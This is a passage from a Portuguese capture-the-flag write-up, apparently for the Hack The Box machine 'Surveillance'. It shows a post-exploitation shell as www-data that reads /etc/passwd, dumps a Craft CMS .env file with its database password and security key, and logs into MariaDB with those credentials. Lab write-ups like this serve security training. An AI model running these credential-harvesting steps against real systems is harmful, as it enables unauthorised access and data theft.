&lt;span class="o"&gt;[&lt;/span&gt;17:01:00] 10.129.39.90:48380: registered new host w/ db                                                                              manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                                                                    
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/web/cpresources&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com acesso podemos realizar uma enumeração e visualizando os usuários:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos três usuários: &lt;strong&gt;matthew&lt;/strong&gt;, &lt;strong&gt;zoneminder&lt;/strong&gt; e &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Buscando arquivos sensíveis encontramos o arquivo .env, que como o nome sugere é um arquivo contendo variáveis e seus valores, que a aplicação utiliza:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .env
&lt;span class="c"&gt;# Read about configuration, here:&lt;/span&gt;
&lt;span class="c"&gt;# https://craftcms.com/docs/4.x/config/&lt;/span&gt;

&lt;span class="c"&gt;# The application ID used to to uniquely store session and cache data, mutex locks, and more&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_APP_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

&lt;span class="c"&gt;# The environment Craft is currently running in (dev, staging, production, etc.)&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_ENVIRONMENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;production

&lt;span class="c"&gt;# The secure key Craft will use for hashing and encrypting data&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_SECURITY_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

&lt;span class="c"&gt;# Database connection settings&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_DB_DRIVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql
&lt;span class="nv"&gt;CRAFT_DB_SERVER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;127.0.0.1
&lt;span class="nv"&gt;CRAFT_DB_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3306
&lt;span class="nv"&gt;CRAFT_DB_DATABASE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;craftdb
&lt;span class="nv"&gt;CRAFT_DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;craftuser
&lt;span class="nv"&gt;CRAFT_DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CraftCMSPassword2023!
&lt;span class="nv"&gt;CRAFT_DB_SCHEMA&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="nv"&gt;CRAFT_DB_TABLE_PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;

&lt;span class="c"&gt;# General settings (see config/general.php)&lt;/span&gt;
&lt;span class="nv"&gt;DEV_MODE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false
&lt;/span&gt;&lt;span class="nv"&gt;ALLOW_ADMIN_CHANGES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false
&lt;/span&gt;&lt;span class="nv"&gt;DISALLOW_ROBOTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false

&lt;/span&gt;&lt;span class="nv"&gt;PRIMARY_SITE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://surveillance.htb/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enumerando as portas abertas no host alvo notamos que existe um &lt;strong&gt;mysql&lt;/strong&gt; na porta &lt;strong&gt;3306&lt;/strong&gt; e outra aplicação na porta &lt;strong&gt;8080&lt;/strong&gt;, ambas rodando localmente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="nv"&gt;$ &lt;/span&gt;netstat &lt;span class="nt"&gt;-nltp&lt;/span&gt;
Active Internet connections &lt;span class="o"&gt;(&lt;/span&gt;only servers&lt;span class="o"&gt;)&lt;/span&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      991/nginx: worker p
tcp        0      0 0.0.0.0:22              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      991/nginx: worker p
tcp        0      0 127.0.0.1:3306          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -
tcp6       0      0 :::22                   :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      -
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com os dados que conseguimos podemos acessar o banco de dados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;surveillance&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;craft&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;craftuser&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="mi"&gt;3306&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;
&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Welcome&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="n"&gt;monitor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;  &lt;span class="n"&gt;Commands&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Your&lt;/span&gt; &lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="k"&gt;connection&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="mi"&gt;20621&lt;/span&gt;
&lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="k"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;MariaDB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;ubuntu0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;Ubuntu&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;

&lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Oracle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt; &lt;span class="n"&gt;Ab&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;others&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="k"&gt;Type&lt;/span&gt; &lt;span class="s1"&gt;'help;'&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\h&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="k"&gt;Type&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\c&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;clear&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;current&lt;/span&gt; &lt;span class="k"&gt;input&lt;/span&gt; &lt;span class="k"&gt;statement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="k"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;databases&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Database&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;craftdb&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------------------+&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="k"&gt;none&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Reading&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;information&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;completion&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="k"&gt;column&lt;/span&gt; &lt;span class="k"&gt;names&lt;/span&gt;
&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;turn&lt;/span&gt; &lt;span class="k"&gt;off&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;feature&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="k"&gt;get&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;quicker&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;

&lt;span class="k"&gt;Database&lt;/span&gt; &lt;span class="n"&gt;changed&lt;/span&gt;
&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;show&lt;/span&gt; &lt;span class="n"&gt;tables&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Tables_in_craftdb&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;addresses&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;announcements&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;assetindexdata&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;assetindexingsessions&lt;/span&gt;      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;assets&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;categories&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;categorygroups&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;categorygroups_sites&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;changedattributes&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;changedfields&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;craftidtokens&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;deprecationerrors&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;drafts&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;elements_sites&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;entries&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;entrytypes&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldgroups&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldlayoutfields&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldlayouts&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fieldlayouttabs&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fields&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;globalsets&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;gqlschemas&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;gqltokens&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;imagetransformindex&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;imagetransforms&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;                       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;matrixblocks&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;matrixblocks_owners&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;matrixblocktypes&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;migrations&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;plugins&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;projectconfig&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;relations&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;resourcepaths&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;revisions&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;searchindex&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sections&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sections_sites&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sequences&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;shunnedmessages&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sitegroups&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sites&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;structureelements&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;structures&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;systemmessages&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;taggroups&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;tags&lt;/span&gt;                       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;usergroups&lt;/span&gt;                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;usergroups_users&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpermissions&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpermissions_usergroups&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpermissions_users&lt;/span&gt;      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userpreferences&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;volumefolders&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;volumes&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;widgets&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+&lt;/span&gt;
&lt;span class="mi"&gt;63&lt;/span&gt; &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;desc&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+---------------------+------+-----+---------+-------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Field&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Type&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Null&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Key&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Extra&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+---------------------+------+-----+---------+-------+&lt;/span&gt;
